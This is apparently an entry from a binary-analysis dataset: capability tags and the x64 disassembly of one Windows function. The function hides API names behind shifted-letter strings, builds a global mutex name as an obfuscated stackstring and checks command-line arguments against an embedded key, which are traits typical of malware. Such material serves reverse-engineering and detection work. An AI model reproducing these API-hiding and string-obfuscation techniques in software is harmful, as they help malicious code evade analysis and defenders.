Function at 0x180006890
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov qword [rbp - 1], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x18001c020]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor ebx, ebx
mov dword [rbp - 0x31], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdi, rax
lea rcx, str.DpnnboeMjofUpBshwX
call fcn.180007460
lea rdx, [rbp - 0x31]
mov rcx, rdi
call rax
or rcx, 0xffffffffffffffff
cmp dword [rbp - 0x31], 4
jne 0x180006a0a
mov rdx, qword [rax + 0x18]
mov qword [rbp - 0x41], 7
mov qword [rbp - 0x49], rbx
mov word [rbp - 0x59], bx
xor eax, eax
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rbp - 0x59]
call fcn.1800048f0
lea rdx, [rbp - 0x59]
lea rcx, [rbp + 7]
call fcn.180005060
nop
mov rdi, qword [rbp + 0x1f]
mov r9, qword [rbp + 7]
mov r10, qword [rbp + 0x17]
cmp r10, 0x2000
jae 0x1800069f3
lea rcx, [rbp + 7]
cmp rdi, 0x10
cmovae rcx, r9
call fcn.1800010c0
test al, al
je 0x1800069f3
shr r10, 2
lea edx, [r10 + r10*2]
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov qword [rbp - 0x19], rbx
lea rcx, [rbp - 0x29]
call fcn.180007030
nop
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
mov rdi, qword [rbp - 0x29]
mov r8, rdi
mov edx, dword [rbp + 0x17]
call fcn.180001000
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x59]
call fcn.180006c50
mov rcx, rax
call fcn.180006190
test al, al
jne 0x1800069e0
test rdi, rdi
je 0x1800069c7
mov rcx, rdi
call fcn.180009170
nop
cmp qword [rbp + 0x1f], 0x10
jb 0x180006c29
mov rcx, qword [rbp + 7]
call fcn.180009170
jmp 0x180006c29
test rdi, rdi
je 0x1800069ee
mov rcx, rdi
call fcn.180009170
nop
jmp 0x180006b47
cmp rdi, 0x10
jb 0x180006c29
mov rcx, r9
call fcn.180009170
jmp 0x180006c29
mov qword [rbp + 0x1f], 0xf
mov qword [rbp + 0x17], rbx
mov byte [rbp + 7], bl
xor eax, eax
lea rdi, str.GQWmBDNkWwV7mHRNI7ntVntj460iFkHU
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, str.GQWmBDNkWwV7mHRNI7ntVntj460iFkHU
lea rcx, [rbp + 7]
call fcn.1800047c0
nop
mov dword [rbp - 0x59], 0x6d575147
mov dword [rbp - 0x55], 0x6b4e4442
mov dword [rbp - 0x51], 0x37567757
mov dword [rbp - 0x4d], 0x4e52486d
mov dword [rbp - 0x49], 0x746e3749
mov dword [rbp - 0x45], 0x6a746e56
mov dword [rbp - 0x41], 0x69303634
mov dword [rbp - 0x3d], 0x55486b46
mov byte [rbp - 0x39], 0
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp - 0x59]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rdi, qword [rbp + 0x17]
cmp rcx, rdi
jae 0x180006b47
cmp rdi, 0x2000
jae 0x180006b47
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
call fcn.1800010c0
test al, al
je 0x180006b47
shr rdi, 2
lea edx, [rdi + rdi*2]
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], rbx
mov qword [rbp - 0x19], rbx
lea rcx, [rbp - 0x29]
call fcn.180007030
nop
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rcx, qword [rbp + 7]
mov rdi, qword [rbp - 0x29]
mov r8, rdi
mov edx, dword [rbp + 0x17]
call fcn.180001000
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x59]
call fcn.180006c50
mov rcx, rax
call fcn.180006190
test al, al
jne 0x180006b39
test rdi, rdi
je 0x180006b20
mov rcx, rdi
call fcn.180009170
nop
cmp qword [rbp + 0x1f], 0x10
jb 0x180006c29
mov rcx, qword [rbp + 7]
call fcn.180009170
jmp 0x180006c29
test rdi, rdi
je 0x180006b47
mov rcx, rdi
call fcn.180009170
nop
cmp qword [rbp + 0x1f], 0x10
jb 0x180006b57
mov rcx, qword [rbp + 7]
call fcn.180009170
mov dword [rbp + 0x2f], 0x6c0047
mov dword [rbp + 0x33], 0x62006f
mov dword [rbp + 0x37], 0x6c0061
mov eax, 0x5c
mov word [rbp + 0x3b], ax
mov eax, 0x76
mov word [rbp + 0x3d], ax
mov eax, 0x51
mov word [rbp + 0x3f], ax
mov dword [rbp + 0x41], 0x6f0056
mov eax, 0x6d
mov word [rbp + 0x45], ax
mov eax, 0x69
mov word [rbp + 0x47], ax
mov eax, 0x74
mov word [rbp + 0x49], ax
mov dword [rbp + 0x4b], 0x34
lea rcx, str.DsfbufNvufyX
call fcn.180007460
lea r8, [rbp + 0x2f]
mov edx, 1
xor ecx, ecx
call rax
mov rdi, rax
test rax, rax
je 0x180006c29
mov ecx, 0x38
call fcn.180009bb4
mov qword [rbp - 9], rax
test rax, rax
je 0x180006bef
mov rcx, rax
call fcn.1800075d0
mov rbx, rax
mov qword [0x180046818], rbx
call fcn.180005bf0
test al, al
je 0x180006c29
call fcn.1800079e0
test al, al
jne 0x180006c0f
call fcn.180007f10
jmp 0x180006c29
lea rcx, str.SfmfbtfNvufy
call fcn.180007460
mov rcx, rdi
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.180009150
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret